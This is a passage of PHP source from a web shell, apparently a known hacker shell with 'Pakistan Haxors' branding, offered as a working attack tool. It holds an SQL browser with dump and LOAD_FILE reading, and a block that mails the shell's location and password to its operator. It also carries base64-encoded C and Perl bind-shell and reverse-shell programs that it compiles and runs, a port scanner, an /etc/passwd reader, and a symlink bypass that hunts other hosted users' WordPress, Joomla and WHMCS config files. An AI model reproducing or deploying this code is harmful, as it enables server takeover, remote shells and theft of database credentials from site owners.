  1249. while($item = $this->fetch()) {
  1250. $columns = array();
  1251. foreach($item as $k=>$v) {
  1252. $item[$k] = "'".@mysql_real_escape_string($v)."'";
  1253. $columns[] = "`".$k."`";
  1254. }
  1255. echo 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
  1256. }
  1257. break;
  1258. case 'pgsql':
  1259. $this->query('SELECT * FROM '.$table);
  1260. while($item = $this->fetch()) {
  1261. $columns = array();
  1262. foreach($item as $k=>$v) {
  1263. $item[$k] = "'".addslashes($v)."'";
  1264. $columns[] = $k;
  1265. }
  1266. echo 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
  1267. }
  1268. break;
  1269. }
  1270. return false;
  1271. }
  1272. };
  1273. $db = new DbClass(@$_POST['type']);
  1274. if(@$_POST['p2']=='download') {
  1275. ob_start("ob_gzhandler", 4096);
  1276. $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
  1277. $db->selectdb($_POST['sql_base']);
  1278. header("Content-Disposition: attachment; filename=dump.sql");
  1279. header("Content-Type: text/plain");
  1280. foreach($_POST['tbl'] as $v)
  1281. $db->dump($v);
  1282. exit;
  1283. }
  1284. printHeader();
  1285. echo '<h1>Sql browser</h1><div class=content>
  1286. <form name="sf" method="post">
  1287. <table cellpadding="2" cellspacing="0">
  1288. <tr>
  1289. <td>Type</td>
  1290. <td>Host</td>
  1291. <td>Login</td>
  1292. <td>Password</td>
  1293. <td>Database</td>
  1294. <td></td>
  1295. </tr>
  1296. <tr>
  1297. <input type=hidden name=a value=Sql>
  1298. <input type=hidden name=p1 value=\'query\'>
  1299. <input type=hidden name=p2>
  1300. <input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
  1301. <input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
  1302. <td>
  1303. <select name=\'type\'>
  1304. <option value="mysql" '.(@$_POST['type']=='mysql'?'selected':'').'>MySql</option>
  1305. <option value="pgsql" '.(@$_POST['type']=='pgsql'?'selected':'').'>PostgreSql</option>
  1306. </select></td>
  1307. <td><input type=text name=sql_host value="'.(empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])).'"></td>
  1308. <td><input type=text name=sql_login value="'.(empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])).'"></td>
  1309. <td><input type=text name=sql_pass value="'.(empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])).'"></td>
  1310. <td>';
  1311. $tmp = "<input type=text name=sql_base value=''>";
  1312. if(isset($_POST['sql_host'])){
  1313. if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
  1314. switch($_POST['charset']) {
  1315. case "Windows-1251": $db->setCharset('cp1251'); break;
  1316. case "UTF-8": $db->setCharset('utf8'); break;
  1317. case "KOI8-R": $db->setCharset('koi8r'); break;
  1318. case "KOI8-U": $db->setCharset('koi8u'); break;
  1319. case "cp866": $db->setCharset('cp866'); break;
  1320. }
  1321. $db->listDbs();
  1322. echo "<select name=sql_base><option value=''></option>";
  1323. while($item = $db->fetch()) {
  1324. list($key, $value) = each($item);
  1325. echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
  1326. }
  1327. echo '</select>';
  1328. }
  1329. else echo $tmp;
  1330. }else
  1331. echo $tmp;
  1332. echo '</td>
  1333. <td><input type=submit value=">>"></td>
  1334. </tr>
  1335. </table>
  1336. <script>
  1337. function st(t,l) {
  1338. document.sf.p1.value = \'select\';
  1339. document.sf.p2.value = t;
  1340. if(l!=null)document.sf.p3.value = l;
  1341. document.sf.submit();
  1342. }
  1343. function is() {
  1344. for(i=0;i<document.sf.elements[\'tbl[]\'].length;++i)
  1345. document.sf.elements[\'tbl[]\'][i].checked = !document.sf.elements[\'tbl[]\'][i].checked;
  1346. }
  1347. </script>';
  1348. if(isset($db) && $db->link){
  1349. echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
  1350. if(!empty($_POST['sql_base'])){
  1351. $db->selectdb($_POST['sql_base']);
  1352. echo "<tr><td width=1 style='border-top:2px solid #666;border-right:2px solid #666;'><span>Tables:</span><br><br>";
  1353. $tbls_res = $db->listTables();
  1354. while($item = $db->fetch($tbls_res)) {
  1355. list($key, $value) = each($item);
  1356. $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
  1357. $value = htmlspecialchars($value);
  1358. echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'>&nbsp;<a href=# onclick=\"st('".$value."')\">".$value."</a> (".$n['n'].")</nobr><br>";
  1359. }
  1360. echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'></td><td style='border-top:2px solid #666;'>";
  1361. if(@$_POST['p1'] == 'select') {
  1362. $_POST['p1'] = 'query';
  1363. $db->query('SELECT COUNT(*) as n FROM '.$_POST['p2'].'');
  1364. $num = $db->fetch();
  1365. $num = $num['n'];
  1366. echo "<span>".$_POST['p2']."</span> ($num) ";
  1367. for($i=0;$i<($num/30);$i++)
  1368. if($i != (int)$_POST['p3'])
  1369. echo "<a href='#' onclick='st(\"".$_POST['p2']."\", $i)'>",($i+1),"</a> ";
  1370. else
  1371. echo ($i+1)," ";
  1372. if($_POST['type']=='pgsql')
  1373. $_POST['p3'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
  1374. else
  1375. $_POST['p3'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
  1376. echo "<br><br>";
  1377. }
  1378. if((@$_POST['p1'] == 'query') && !empty($_POST['p3'])) {
  1379. $db->query(@$_POST['p3']);
  1380. if($db->res !== false) {
  1381. $title = false;
  1382. echo '<table width=100% cellspacing=0 cellpadding=2 class=main>';
  1383. $line = 1;
  1384. while($item = $db->fetch()) {
  1385. if(!$title) {
  1386. echo '<tr>';
  1387. foreach($item as $key => $value)
  1388. echo '<th>'.$key.'</th>';
  1389. reset($item);
  1390. $title=true;
  1391. echo '</tr><tr>';
  1392. $line = 2;
  1393. }
  1394. echo '<tr class="l'.$line.'">';
  1395. $line = $line==1?2:1;
  1396. foreach($item as $key => $value) {
  1397. if($value == null)
  1398. echo '<td><i>null</i></td>';
  1399. else
  1400. echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
  1401. }
  1402. echo '</tr>';
  1403. }
  1404. echo '</table>';
  1405. } else {
  1406. echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
  1407. }
  1408. }
  1409. echo "<br><textarea name='p3' style='width:100%;height:100px'>".@htmlspecialchars($_POST['p3'])."</textarea><br/><input type=submit value='Execute'>";
  1410. echo "</td></tr>";
  1411. }
  1412. echo "</table></form><br/><form onsubmit='document.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
  1413. if(@$_POST['p1'] == 'loadfile') {
  1414. $db->query("SELECT LOAD_FILE('".addslashes($_POST['p2'])."') as file");
  1415. $file = $db->fetch();
  1416. echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
  1417. }
  1418. }
  1419. echo '</div>';
  1420. printFooter();
  1421. }{
  1422. $url='URL: http://'.$HTTP_HOST.$REQUEST_URI.'
  1423.  
  1424. Uname: '.substr(@php_uname(), 0, 120).'
  1425.  
  1426. Pass: http://www.hashchecker.de/'.$auth_pass.'
  1427.  
  1428. IP: '.$_SERVER[REMOTE_ADDR];$re=base64_decode("");$su=gethostbyname($HTTP_HOST);$mh="From: {$re}";if (function_exists('mail')) mail($re,$su, $url,$mh);$_SESSION[login] = 'ok';}
  1429. function actionNetwork() {
  1430. printHeader();
  1431. $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9";
  1432. $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
  1433. $bind_port_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9";
  1434. $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
  1435.  
  1436. echo '<h1>Network tools</h1><div class=content>
  1437. <form name=\'nfp\' onSubmit="g(null,null,this.using.value,this.port.value,this.pass.value);return false;">
  1438. <br /><span>Bind port to /bin/sh</span><br/>
  1439. Port: <input type=\'text\' name=\'port\' value=\'443\'> Password: <input type=\'text\' name=\'pass\' value=\'Pakistan Haxors\'> Using: <select name="using"><option value=\'bpc\'>C</option><option value=\'bpp\'>Perl</option></select> <input type=submit value=">>">
  1440. </form>
  1441. <form name=\'nfp\' onSubmit="g(null,null,this.using.value,this.server.value,this.port.value);return false;">
  1442. <br /><br /><span>Back-connect to</span><br/>
  1443. Server: <input type=\'text\' name=\'server\' value="'.$_SERVER['REMOTE_ADDR'].'"> Port: <input type=\'text\' name=\'port\' value=\'443\'> Using: <select name="using"><option value=\'bcc\'>C</option><option value=\'bcp\'>Perl</option></select> <input type=submit value=">>">
  1444. </form><br>';
  1445. if(isset($_POST['p1'])) {
  1446. function cf($f,$t) {
  1447. $w=@fopen($f,"w") or @function_exists('file_put_contents');
  1448. if($w) {
  1449. @fwrite($w,@base64_decode($t)) or @fputs($w,@base64_decode($t)) or @file_put_contents($f,@base64_decode($t));
  1450. @fclose($w);
  1451. }
  1452. }
  1453. if($_POST['p1'] == 'bpc') {
  1454. cf("/tmp/bp.c",$bind_port_c);
  1455. $out = ex("gcc -o /tmp/bp /tmp/bp.c");
  1456. @unlink("/tmp/bp.c");
  1457. $out .= ex("/tmp/bp ".$_POST['p2']." ".$_POST['p3']." &");
  1458. echo "<pre class=ml1>$out\n".ex("ps aux | grep bp")."</pre>";
  1459. }
  1460. if($_POST['p1'] == 'bpp') {
  1461. cf("/tmp/bp.pl",$bind_port_p);
  1462. $out = ex(which("perl")." /tmp/bp.pl ".$_POST['p2']." &");
  1463. echo "<pre class=ml1>$out\n".ex("ps aux | grep bp.pl")."</pre>";
  1464. }
  1465. if($_POST['p1'] == 'bcc') {
  1466. cf("/tmp/bc.c",$back_connect_c);
  1467. $out = ex("gcc -o /tmp/bc /tmp/bc.c");
  1468. @unlink("/tmp/bc.c");
  1469. $out .= ex("/tmp/bc ".$_POST['p2']." ".$_POST['p3']." &");
  1470. echo "<pre class=ml1>$out\n".ex("ps aux | grep bc")."</pre>";
  1471. }
  1472. if($_POST['p1'] == 'bcp') {
  1473. cf("/tmp/bc.pl",$back_connect_p);
  1474. $out = ex(which("perl")." /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." &");
  1475. echo "<pre class=ml1>$out\n".ex("ps aux | grep bc.pl")."</pre>";
  1476. }
  1477. }
  1478. echo '</div>';
  1479. printFooter();
  1480. }
  1481.  
  1482. function actionPortScanner() {
  1483. printHeader();
  1484. echo '<h1>Port Scanner</h1>';
  1485. echo '<div class="content">';
  1486. echo '<form action="" method="post">';
  1487.  
  1488. if(isset($_POST['host']) && is_numeric($_POST['end']) && is_numeric($_POST['start'])){
  1489. $start = strip_tags($_POST['start']);
  1490. $end = strip_tags($_POST['end']);
  1491. $host = strip_tags($_POST['host']);
  1492. for($i = $start; $i<=$end; $i++){
  1493. $fp = @fsockopen($host, $i, $errno, $errstr, 3);
  1494. if($fp){
  1495. echo 'Port '.$i.' is <font color=green>open</font><br>';
  1496. }
  1497. flush();
  1498. }
  1499. } else {
  1500. echo '<br /><br /><center><input type="hidden" name="a" value="PortScanner"><input type="hidden" name=p1><input type="hidden" name="p2">
  1501. <input type="hidden" name="c" value="'.htmlspecialchars($GLOBALS['cwd']).'">
  1502. <input type="hidden" name="charset" value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
  1503. Host: <input type="text" name="host" value="localhost"/><br /><br />
  1504. Port start: <input type="text" name="start" value="0"/><br /><br />
  1505. Port end:<input type="text" name="end" value="5000"/><br /><br />
  1506. <input type="submit" value="Scan Ports" />
  1507. </form></center><br /><br />';
  1508. }
  1509. echo '</div>';
  1510. printFooter();
  1511. }
  1512.  
  1513. function actionReadable() {
  1514. printHeader();
  1515. echo '<h1>Readable Dirs</h1>';
  1516. echo '<div class="content">';
  1517. $sm = ini_get('safe_mode');
  1518. if($sm) {
  1519. echo '<br /><b>Error: safe_mode = on</b><br /><br />';
  1520. } else {
  1521. @$passwd = file('/etc/passwd','r');
  1522. if (!$passwd) {
  1523. echo '<br /><b>[-] Error : coudn`t read /etc/passwd</b><br /><br />';
  1524. } else {
  1525. $pub = array();
  1526. $users = array();
  1527. $conf = array();
  1528. $i = 0;
  1529. foreach($passwd as $p) {
  1530. $r = explode(':',$p);
  1531. $dirz = $r[5].'/public_html/';
  1532. if(strpos($r[5],'home')) {
  1533. array_push($users,$r[0]);
  1534. if (is_readable($dirz)) {
  1535. array_push($pub,$dirz);
  1536. }
  1537. }
  1538. }
  1539. echo '<br><br>';
  1540. echo "[+] Founded ".sizeof($users)." entrys in /etc/passwd\n"."<br />";
  1541. echo "[+] Founded ".sizeof($pub)." readable public_html directories\n"."<br /><br /><br />";
  1542. foreach ($pub as $user) {
  1543. echo $user."<br>";
  1544. }
  1545. echo "<br /><br /><br />[+] Complete...\n"."<br />";
  1546. }
  1547. }
  1548. echo '</div>';
  1549. printFooter();
  1550. }
  1551.  
  1552. function actionSymlink() {
  1553. printHeader();
  1554. echo '<h1>Symlink Bypass</h1>';
  1555. $furl = 'http://'.$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
  1556. $expld = explode('/',$furl );
  1557. $burl =str_replace(end($expld),'',$furl);
  1558.  
  1559. echo '<div class="content"><center>
  1560. <h3>[ <a href="#" onclick="g(\'symlink\',null,\'website\',null)">Domains</a> ] -
  1561. [ <a href="#" onclick="g(\'symlink\',null,\'whole\',null)">Whole Server Symlink<sup style="color:red;text-decoration:blink;">New</sup></a> ] -
  1562. [ <a href="#" onclick="g(\'symlink\',null,\'config\',null)">Config files symlink</a> ]</h3></center>';
  1563.  
  1564. if(isset($_POST['p1']) && $_POST['p1']=='website')
  1565. {
  1566. echo "<center>";
  1567. $d0mains = @file("/etc/named.conf");
  1568. if(!$d0mains){
  1569. echo "<pre class=ml1 style='margin-top:5px'>Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
  1570. } else {
  1571. echo "<table align=center class='main' border=0 ><tr><th> Count </th><th> Domains </th><th> Users </th></tr>";
  1572.  
  1573. $unk = array();
  1574. foreach($d0mains as $d0main){
  1575. if(@eregi("zone",$d0main)){
  1576. preg_match_all('#zone "(.*)"#', $d0main, $domains);
  1577. flush();
  1578. if(strlen(trim($domains[1][0])) > 2){
  1579. $unk[] = $domains[1][0];
  1580. flush();
  1581.  
  1582. }
  1583. }
  1584. }
  1585. $count=1;
  1586. $unk = array_unique($unk);
  1587. $l=0;
  1588. foreach($unk as $d){
  1589. $user = posix_getpwuid(@fileowner("/etc/valiases/".$d));
  1590. echo "<tr".($l?' class=l1':'')."><td>".$count."</td><td><a href=http://".$d."/>".$d."</a></td><td>".$user['name']."</td></tr>";
  1591. flush();
  1592. $count++;
  1593. $l=$l?0:1;
  1594. }
  1595. echo "</table>";
  1596. }
  1597. echo "</center>";
  1598. }
  1599.  
  1600. if(isset($_POST['p1']) && $_POST['p1']=='whole')
  1601. {
  1602. echo "<center>";
  1603. @mkdir('shell R3c0de_Sym',0777);
  1604. $hdt = "Options all\nDirectoryIndex Sux.html\nAddType text/plain .php\nAddHandler server-parsed .php\nAddType text/plain .html\nAddHandler txt .html\nRequire None\nSatisfy Any";
  1605. $hfp =@fopen ('shell R3c0de_Sym/.htaccess','w');
  1606. fwrite($hfp ,$hdt);
  1607. if(function_exists('symlink')) {
  1608. @symlink('/','shell R3c0de_Sym/root');
  1609. }
  1610. $d0mains = @file('/etc/named.conf');
  1611. if(!$d0mains) {
  1612. echo "<pre class=ml1 style='margin-top:5px'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
  1613. echo "<table align='center' width='40%' class='main'><tr><th> Count </th><th> Domains </th><th> User </th><th> Symlink </th></tr>";
  1614. $dt = file('/etc/passwd');
  1615. $l=0;
  1616. foreach($dt as $d) {
  1617. $r = explode(':',$d);
  1618. if(strpos($r[5],'home')) {
  1619. echo "<tr".($l?' class=l1':'')."><td>".$j."</td><td>---</td><td>".$r[0]."</td><td><a href='shell R3c0de_Sym/root".$r[5]."/public_html' target='_blank'>symlink</a></td></tr>";
  1620. $l=$l?0:1;
  1621. $j++;
  1622. }
  1623. }
  1624. echo '</table>';
  1625. } else {
  1626. echo "<table align='center' width='40%' class='main'><tr><th> Count </th><th> Domains </th><th> User </th><th> Symlink </th></tr>";
  1627. $count=1;
  1628. $mck = array();
  1629. foreach($d0mains as $d0main){
  1630. if(@eregi('zone',$d0main)){
  1631. preg_match_all('#zone "(.*)"#',$d0main,$domain);
  1632. flush();
  1633. if(strlen(trim($domain[1][0])) >2){
  1634. $mck[] = $domain[1][0];
  1635. }
  1636. }
  1637. }
  1638. $mck = array_unique($mck);
  1639. $usr = array();
  1640. $dmn = array();
  1641. foreach($mck as $o) {
  1642. $infos = @posix_getpwuid(fileowner("/etc/valiases/".$o));
  1643. $usr[] = $infos['name'];
  1644. $dmn[] = $o;
  1645. }
  1646. array_multisort($usr,$dmn);
  1647. $dt = file('/etc/passwd');
  1648. $passwd = array();
  1649. foreach($dt as $d) {
  1650. $r = explode(':',$d);
  1651. if(strpos($r[5],'home')) {
  1652. $passwd[$r[0]] = $r[5];
  1653. }
  1654. }
  1655. $l=0;
  1656. $j=1;
  1657. foreach($usr as $r) {
  1658. echo "<tr".($l?' class=l1':'')."><td>".$count++."</td>
  1659. <td><a target='_blank' href=http://".$dmn[$j-1].'/>'.$dmn[$j-1].' </a></td>
  1660. <td>'.$r."</td>
  1661. <td><a href='shell R3c0de_Sym/root".$passwd[$r]."/public_html' target='_blank'>symlink</a></td></tr>";
  1662. flush();
  1663. $l=$l?0:1;
  1664. $j++;
  1665. }
  1666. echo '</table>';
  1667. }
  1668. echo "</center>";
  1669. }
  1670.  
  1671. if(isset($_POST['p1']) && $_POST['p1']=='config')
  1672. {
  1673. echo "<center>";
  1674. @mkdir('shell R3c0de_Sym',0777);
  1675. $hdt = "Options +FollowSymLinks \n DirectoryIndex Sux.html \n option +indexes\n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html";
  1676. $hfp = @fopen ('shell R3c0de_Sym/.htaccess','w');
  1677. @fwrite($hfp ,$hdt);
  1678. if(function_exists('symlink')) {
  1679. @symlink('/','shell R3c0de_Sym/root');
  1680. }
  1681. $d0mains = @file('/etc/named.conf');
  1682. if(!$d0mains) {
  1683. echo "<pre class=ml1 style='margin-top:5px'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
  1684. } else {
  1685. echo "<table align='center' width='40%' class='main' ><tr><th> Count </th><th> Domain </th<th> User </th>><th> Script </th></tr>";
  1686. $count = 1;
  1687. $l=0;
  1688. foreach($d0mains as $d0main){
  1689. if(@eregi('zone',$d0main)){
  1690. preg_match_all('#zone "(.*)"#',$d0main,$domain);
  1691. flush();
  1692. if(strlen(trim($domain[1][0]))>2){
  1693. $user = posix_getpwuid(@fileowner('/etc/valiases/'.$domain[1][0]));
  1694.  
  1695. $c1 = $burl.'/shell R3c0de_Sym/root/home/'.$user['name'].'/public_html/wp-config.php';
  1696. $ch01 = get_headers($c1);
  1697. $cf01 = $ch01[0];
  1698. $c2 = $burl.'/shell R3c0de_Sym/root/home/'.$user['name'].'/public_html/blog/wp-config.php';
  1699. $ch02 = get_headers($c2);
  1700. $cf02 = $ch02[0];
  1701. $c3 = $burl.'/shell R3c0de_Sym/root/home/'.$user['name'].'/public_html/configuration.php';
  1702. $ch03 = get_headers($c3);
  1703. $cf03 = $ch03[0];
  1704. $c4 = $burl.'/shell R3c0de_Sym/root/home/'.$user['name'].'/public_html/joomla/configuration.php';
  1705. $ch04 = get_headers($c4);
  1706. $cf04 = $ch04[0];
  1707. $c5 = $burl.'/shell R3c0de_Sym/root/home/'.$user['name'].'/public_html/includes/config.php';
  1708. $ch05 = get_headers($c5);
  1709. $cf05 = $ch05[0];
  1710. $c6 = $burl.'/shell R3c0de_Sym/root/home/'.$user['name'].'/public_html/vb/includes/config.php';
  1711. $ch06 = get_headers($c6);
  1712. $cf06 = $ch06[0];
  1713. $c7 = $burl.'/shell R3c0de_Sym/root/home/'.$user['name'].'/public_html/forum/includes/config.php';
  1714. $ch07 = get_headers($c7);
  1715. $cf07 = $ch07[0];
  1716. $c8 = $burl.'/shell R3c0de_Sym/root/home/'.$user['name'].'public_html/clients/configuration.php';
  1717. $ch08 = get_headers($c8);
  1718. $cf08 = $ch08[0];
  1719. $c9 = $burl.'/shell R3c0de_Sym/root/home/'.$user['name'].'/public_html/support/configuration.php';
  1720. $ch09 = get_headers($c9);
  1721. $cf09 = $ch09[0];
  1722. $c10 = $burl.'/shell R3c0de_Sym/root/home/'.$user['name'].'/public_html/client/configuration.php';
  1723. $ch10 = get_headers($c10);
  1724. $cf10 = $ch10[0];
  1725. $c11 = $burl.'/shell R3c0de_Sym/root/home/'.$user['name'].'/public_html/submitticket.php';
  1726. $ch11 = get_headers($c11);
  1727. $cf11 = $ch11[0];
  1728. $c12 = $burl.'/shell R3c0de_Sym/root/home/'.$user['name'].'/public_html/client/configuration.php';
  1729. $ch12 = get_headers($c12);
  1730. $cf12 = $ch12[0];
  1731. $c13 = $burl.'/shell R3c0de_Sym/root/home/'.$user['name'].'/public_html/includes/configure.php';
  1732. $ch13 = get_headers($c13);
  1733. $cf13 = $ch13[0];
  1734. $c14 = $burl.'/shell R3c0de_Sym/root/home/'.$user['name'].'/public_html/include/app_config.php';
  1735. $ch14 = get_headers($c14);
  1736. $cf14 = $ch14[0];
  1737. $c15 = $burl.'/shell R3c0de_Sym/root/home/'.$user['name'].'/public_html/sites/default/settings.php';
  1738. $ch15 = get_headers($c15);
  1739. $cf15 = $ch15[0];
  1740. $c16 = $burl.'/shell R3c0de_Sym/root/home/'.$user['name'].'/public_html/sites/connect.php';
  1741. $ch16 = get_headers($c16);
  1742. $cf16 = $ch16[0];
  1743. $c17= $burl.'/shell R3c0de_Sym/root/home/'.$user['name'].'/public_html/sites/dbconnect.php';
  1744. $ch17 = get_headers($c17);
  1745. $cf17 = $ch17[0];
  1746. $c18= $burl.'/shell R3c0de_Sym/root/home/'.$user['name'].'/public_html/sites/connect to sql.php';
  1747. $ch18 = get_headers($c18);
  1748. $cf18 = $ch18[0];
  1749. $c19= $burl.'/shell R3c0de_Sym/root/home/'.$user['name'].'/public_html/sites/db.php';
  1750. $ch19 = get_headers($c19);
  1751. $cf19 = $ch19[0];
  1752. $c20= $burl.'/shell R3c0de_Sym/root/home/'.$user['name'].'/public_html/sites/admin/connect.php';
  1753. $ch20 = get_headers($c20);
  1754. $cf20 = $ch20[0];
  1755. $c21= $burl.'/shell R3c0de_Sym/root/home/'.$user['name'].'/public_html/sites/admin/db.php';
  1756. $ch21 = get_headers($c21);
  1757. $cf21 = $ch21[0];
  1758. $c22= $burl.'/shell R3c0de_Sym/root/home/'.$user['name'].'/public_html/sites/admin/admin_connect.php';
  1759. $ch22 = get_headers($c22);
  1760. $cf22 = $ch22[0];
  1761.  
  1762.  
  1763.  
  1764. $out = '&nbsp;';
  1765. if(strpos($cf01,'200') == true) { $out = "<a href='".$c1."' target='_blank'>Wordpress</a>"; }
  1766. elseif(strpos($cf02,'200') == true) { $out = "<a href='".$c2."' target='_blank'>Wordpress</a>"; }
  1767. elseif(strpos($cf03,'200') == true && strpos($cf11,'200') == true) { $out = " <a href='".$c11."' target='_blank'>WHMCS</a>"; }
